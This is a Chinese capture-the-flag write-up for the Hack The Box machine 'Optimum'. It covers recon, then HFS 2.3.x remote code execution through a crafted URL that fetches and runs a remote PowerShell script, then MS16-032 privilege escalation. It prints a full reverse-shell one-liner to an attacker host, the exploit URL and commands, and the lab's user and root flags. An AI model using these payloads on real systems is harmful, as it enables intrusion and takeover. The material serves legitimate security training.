[Meachines] [Easy] Optimum HFS文件管理2.3.x-RCE+MS16-032
字数 1557 2025-08-19 12:41:28
HFS 2.3.x远程代码执行与MS16-032提权漏洞利用教学文档
1. 信息收集阶段
1.1 目标识别
- 目标IP: 10.10.10.8
- 开放端口: TCP 80
- 服务识别: HttpFileServer (HFS) httpd 2.3
- 操作系统: Windows
1.2 扫描命令
nmap -p- 10.10.10.8 --min-rate 1000 -sC -sV -Pn
扫描结果:
- 80/tcp: HTTP服务
- 服务器头信息: HFS 2.3
- 操作系统指纹: Windows
2. HFS 2.3.x远程代码执行漏洞利用
2.1 漏洞背景
HFS (HttpFileServer) 2.3.x版本存在远程代码执行漏洞,允许攻击者通过构造特殊请求在目标系统上执行任意命令。
2.2 漏洞利用步骤
-
准备反向Shell脚本
- 使用Nishang项目中的
Invoke-PowerShellTcp.ps1脚本 - 修改脚本内容如下:
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.24',10033); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ ;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close() - 使用Nishang项目中的
-
设置HTTP服务器
- 将修改后的
Invoke-PowerShellTcp.ps1脚本放置在可访问的HTTP服务器上
- 将修改后的
-
触发漏洞
- 构造特殊URL请求触发RCE漏洞:
http://10.10.10.8/?search=%00{.exec|C%3a\Windows\System32\WindowsPowerShell\v1.0\powershell.exe+IEX(New-Object+Net.WebClient).downloadString(%27http%3a//10.10.16.24/Invoke-PowerShellTcp.ps1%27).} -
接收反向Shell
- 在攻击机上监听10033端口等待连接
2.3 注意事项
- 有时回连的shell可能会空白,需要手动停止浏览器访问的URL
- 成功后会获得初始访问权限,找到user.txt:
facdb79de2f4e7f9bac47102e1c8e9b2
3. 权限提升(MS16-032漏洞利用)
3.1 漏洞背景
MS16-032是Windows Secondary Logon服务中的一个漏洞,允许攻击者提升权限。
3.2 漏洞验证
-
使用Sherlock脚本检查漏洞
- 下载Sherlock.ps1脚本:
copy \\10.10.16.24\share\Sherlock.ps1 .- 执行检查:
.\Sherlock.ps1- 关键结果:
- MS16-032 (Secondary Logon Handle) - Appears Vulnerable
- MS16-034 (Windows Kernel-Mode Drivers EoP) - Appears Vulnerable
- MS16-135 (Win32k Elevation of Privilege) - Appears Vulnerable
-
检查系统架构
[Environment]::Is64BitProcess
3.3 漏洞利用步骤
-
准备利用脚本
- 下载Invoke-MS16032.ps1脚本:
copy \\10.10.16.24\share\Invoke-MS16032.ps1 .- 准备新的反向Shell脚本(修改端口为10034):
copy \\10.10.16.24\share\Invoke-PowerShellTcp.ps1 . -
执行提权攻击
Invoke-MS16032 -Command ".\Invoke-PowerShellTcp.ps1" -
接收高权限Shell
- 在攻击机上监听10034端口等待高权限连接
3.4 获取root.txt
成功提权后可找到root.txt:
98e0c8209346039a2dc629af2297f674
4. 工具与资源
-
漏洞利用脚本
- HFS 2.3x RCE: https://www.exploit-db.com/exploits/39161
- Nishang项目: https://github.com/samratashok/nishang
- Sherlock脚本: https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1
- MS16-032利用脚本: https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1
-
辅助工具
- impacket-smbserver: 用于文件传输
impacket-smbserver share . -smb2support
5. 总结
本教学文档详细介绍了从信息收集到最终获取系统最高权限的完整过程,关键步骤包括:
- 通过Nmap识别HFS服务
- 利用HFS 2.3.x的RCE漏洞获取初始访问权限
- 使用Sherlock脚本验证系统漏洞
- 利用MS16-032漏洞进行权限提升
- 最终获取系统完全控制权
整个过程展示了从外部渗透到内部提权的完整攻击链,强调了及时修补已知漏洞的重要性。